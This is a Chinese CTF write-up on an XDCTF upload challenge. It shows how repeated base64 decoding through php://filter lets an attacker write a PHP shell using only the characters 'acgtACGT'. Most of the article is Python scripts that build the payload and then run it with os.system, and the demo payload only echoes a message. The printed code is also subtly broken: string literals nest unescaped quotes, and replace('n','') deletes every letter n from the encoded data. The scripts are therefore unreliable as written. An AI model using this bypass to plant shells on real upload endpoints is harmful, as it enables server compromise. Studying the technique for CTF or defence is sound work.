【技术分享】XDCTF Upload引发出来的一个新思路

https://p5.ssl.qhimg.com/t014e859583eb836428.png

作者:Lucifaer

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言

在十一的XDCTF中有一道Upload题引出的如何通过固定的几个字符,利用php伪协议中的convert.base64-encode来写shell。


0x00 一道题引出的话题

我们首先抛砖引玉,来看一下这道题的关键代码:

<?php
error_reporting(0);
session_start();
if (isset($_FILES[file]) && $_FILES[file]['size'] < 4 ** 8) {
$d = "./tmp/" . md5(session_id());
@mkdir($d);
$b = "$d/" . pathinfo($_FILES[file][name], 8);
file_put_contents($b, preg_replace('/[^acgt]/is', '', file_get_contents($_FILES[file][tmp . "_name"])));
echo $b;
}

这道题限制了使用php://input、data://、read://。关键的考点就是如何过这个正则/[^acgt]/is。

ok,正则表示我们只能使用acgtACGT这么8个字符,那么我们如何通过这8个字符来写shell呢?

下面我们就用这8个字符来尝试生成我们的payload,以达到执行我们的php代码的目的。


0x01 解决问题的关键——base64解码函数tips

解决上述问题的关键,就是base64的解码规则。

首先你应该知道的:

base64使用的字符包括大小写字母26个,加上10个数字,和+、/共64个字符。

base64在解码时,如果参数中有非法字符(不在上面64个字符内的),就会跳过。

举个例子:

以r举例,我们可以看到可以通过ctTT进行base64解码后取得:

http://p6.qhimg.com/t01a545f2bdc49a880e.jpg

那么我们顺着这个思路,就可以得到一张通过已经给出的8个字符所得到的所有字符的字符表:

import base64
import string
from itertools import product
from pprint import pprint
# base64基础64字符
dict = string.ascii_letters + string.digits + "+/"
# 利用可用字符替换其他字符
def exchange(allow_chars):
    possible = list(product(allow_chars, repeat=4))
    table = {}
    for list_data in possible:
        data = "".join(list_data)
        decode_data = base64.b64decode(data)
        counter = 0
        t = 0
        for i in decode_data:
            j = chr(i)
            if j in dict:
                counter += 1
                t = j
        if counter == 1:
            table[t] = data
    return table
if __name__ == '__main__':
    chars = 'acgtACGT'
    pprint(exchange(chars))

代码很简单,就是将acgtACGT取了单位元组为4个元素的笛卡尔积,之后将每个笛卡尔积所组成的新的字符串进行base64解码,结果如下:

https://p1.ssl.qhimg.com/t017e4f86a376240714.jpg

目前只有26个元素,剩下的怎么得到呢?

我们改一下我们的脚本:

import base64
import string
from itertools import product
from pprint import pprint
# base64基础64字符
dict = string.ascii_letters + string.digits + "+/"
# 利用可用字符替换其他字符
def exchange(allow_chars):
    possible = list(product(allow_chars, repeat=4))
    table = {}
    for list_data in possible:
        data = "".join(list_data)
        decode_data = base64.b64decode(data)
        counter = 0
        t = 0
        for i in decode_data:
            j = chr(i)
            if j in dict:
                counter += 1
                t = j
        if counter == 1:
            table[t] = data
    return table
def limited_exchanging(allow_chars):
    tables = []
    saved_length = 0
    flag = True
    while True:
        table = exchange(allow_chars)
        length = len(table.keys())
        if saved_length == length:
            flag = False
            break
        saved_length = length
        print("[+] Got %d chars: %s" % (length, table.keys()))
        tables.append(table)
        allow_chars = table.keys()
        if set(table.keys()) >= set(dict):
            break
    if flag:
        return tables
    return False
if __name__ == '__main__':
    chars = 'acgtACGT'
    pprint(limited_exchanging(chars))

最后可以得到这样的映射表:

https://p3.ssl.qhimg.com/t0140cebc0247c54ec6.jpg

图很长,就不截了。

通过base64解码的特性,我们将8个字符拓展到了64个字符,接下来就是将我们的原数据进行转换就好了。


0x02 剩下的一些要注意的点

1. decode次数的问题

根据上面的代码,我们只需要len(tables)就可以知道我们转换经历了几次的过程,这边len(tables)是3次。

需要注意的是,在利用php://filter/convert.base64-decode/resource=的时候,需要len(tables) + 1,也就是说是4次,没毛病吧。

2. 在利用我们得出的映射表时,怎么迭代向前替换问题

将tableslist从后向前遍历,最后得到的即为全部是指定字符的payload。


0x03 最终的脚本

import base64
import string
import os
from itertools import product
# base64基础64字符
dict = string.ascii_letters + string.digits + "+/"
# 得到payload完成base64编码后需要进行替换的向量
def payload_base64_encode(data):
    return base64.b64encode(data).decode().replace("n", "").replace("=", "")
# 利用可用字符替换其他字符
def exchange(allow_chars):
    possible = list(product(allow_chars, repeat=4))
    table = {}
    for list_data in possible:
        data = "".join(list_data)
        decode_data = base64.b64decode(data)
        counter = 0
        t = 0
        for i in decode_data:
            j = chr(i)
            if j in dict:
                counter += 1
                t = j
        if counter == 1:
            table[t] = data
    return table
# 迭代得出完整的映射表
def limited_exchanging(allow_chars):
    tables = []
    saved_length = 0
    flag = True
    while True:
        table = exchange(allow_chars)
        length = len(table.keys())
        if saved_length == length:
            flag = False
            break
        saved_length = length
        print("[+] Got %d exchange_chars: %s" % (length, table.keys()))
        tables.append(table)
        allow_chars = table.keys()
        if set(table.keys()) >= set(dict):
            break
    if flag:
        return tables
    return False
# 得到最后的payload
def create_payload(tables, data):
    encoded = payload_base64_encode(data)
    print("[+] Payload base64: " + encoded)
    result = encoded
    for d in tables[::-1]:
        encoded = result
        result = ""
        for i in encoded:
            result += d[i]
    return result
def main():
    payload = b"<?php echo "hacked by lucifaer"?>"
    limit_chars = 'acgtACGT'
    filename = limit_chars
    tables = limited_exchanging(limit_chars)
    if tables:
        cipher = create_payload(tables, payload)
        with open(filename, "w") as f:
            f.write(cipher)
            print("[+] The encoded data is saved to file (%d Bytes) : %s" % (len(cipher), filename))
        command = "php -r 'include("" + "php://filter/convert.base64-decode/resource=" * (
            len(tables) + 1) + "%s");'" % (filename)
        print("[+] Usage : %s" % command)
        print("[+] Executing...")
        os.system(command=command)
    else:
        print("[-] Failed: %s" % tables)
if __name__ == '__main__':
    main()

0x04 总结

这道题提出了一个比较好的思路,值得学习

(完)